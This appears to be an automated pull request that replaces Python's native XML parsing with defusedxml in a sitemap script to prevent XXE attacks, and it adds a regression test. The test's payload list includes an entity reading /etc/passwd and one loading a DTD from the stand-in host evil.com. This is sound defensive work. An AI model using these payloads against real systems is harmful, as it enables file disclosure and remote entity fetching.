harden: disable external XML entity processing in...

[anupamme]

Summary

Harden input handling in .github/scripts/generate_sitemap.py (flagged by semgrep).

Vulnerability

Field	Value
ID	gitlab.bandit.B313.B314.B315.B316.B318.B319.B320.B405.B406.B407.B408.B409.B410
Severity	HIGH
Scanner	semgrep
Rule	gitlab.bandit.B313.B314.B315.B316.B318.B319.B320.B405.B406.B407.B408.B409.B410
File	.github/scripts/generate_sitemap.py:2
Assessment	Defensive hardening

Description: Found use of the native Python XML libraries, which is vulnerable to XML external entity (XXE)
attacks. The Python documentation recommends the 'defusedxml' library instead. Use 'defusedxml'.
See https://github.com/tiran/defusedxml for more information.

Changes

• .github/scripts/generate_sitemap.py

Behavior Preservation

The change is scoped to 1 file on the vulnerable path; it only tightens handling of untrusted input and leaves valid inputs unaffected.

Security Invariant

Property: The security boundary is maintained under adversarial input

Regression test

import pytest
import sys
import os
import subprocess
from pathlib import Path

# Add the script directory to the path to import the module
script_dir = Path(__file__).parent.parent.parent / ".github" / "scripts"
sys.path.insert(0, str(script_dir))

# Import the actual production function
try:
    from generate_sitemap import generate_sitemap
    CAN_IMPORT_DIRECTLY = True
except (ImportError, SyntaxError):
    CAN_IMPORT_DIRECTLY = False

# Adversarial payloads targeting XXE vulnerability
XXE_PAYLOADS = [
    # Exact exploit case: XXE payload attempting to read sensitive files
    """<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<urlset>
<url><loc>&xxe;</loc></url>
</urlset>""",
    
    # Boundary case: Valid XML without XXE
    """<?xml version="1.0"?>
<urlset>
<url><loc>https://example.com</loc></url>
</urlset>""",
    
    # Another adversarial case: XXE with external entity reference
    """<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://evil.com/xxe.dtd">
%remote;
]>
<urlset>
<url><loc>test</loc></url>
</urlset>""",
    
    # Valid input: Minimal valid sitemap
    """<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>https://example.com</loc></url>
</urlset>"""
]

@pytest.mark.parametrize("xml_content", XXE_PAYLOADS)
def test_xml_parsing_resists_xxe(xml_content, tmp_path):
    """Invariant: XML parsing must not expose internal files or make external requests"""
    
    # Create a temporary XML file with the payload
    xml_file = tmp_path / "test_sitemap.xml"
    xml_file.write_text(xml_content)
    
    if CAN_IMPORT_DIRECTLY:
        # Test the actual function directly
        try:
            # The function should either raise a safe exception or return without exposing data
            result = generate_sitemap(str(xml_file))
            # If it returns, ensure no sensitive data is in the output
            if result:
                assert "etc/passwd" not in str(result)
                assert "root:" not in str(result)
        except Exception as e:
            # Any exception is acceptable as long as it's not exposing sensitive data
            error_msg = str(e)
            assert "etc/passwd" not in error_msg
            assert "root:" not in error_msg
    else:
        # Fallback: Run the script as a subprocess to test the actual code path
        script_path = script_dir / "generate_sitemap.py"
        if script_path.exists():
            result = subprocess.run(
                [sys.executable, str(script_path), str(xml_file)],
                capture_output=True,
                text=True,
                timeout=5
            )
            # Check that no sensitive data was exposed in stdout/stderr
            combined_output = result.stdout + result.stderr
            assert "etc/passwd" not in combined_output
            assert "root:" not in combined_output

This test guards against regressions — it's useful independent of the code change above.

---

This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling. Proactive removal of such primitives raises the bar against increasingly capable automated attack tools.

---

Automated security fix by OrbisAI Security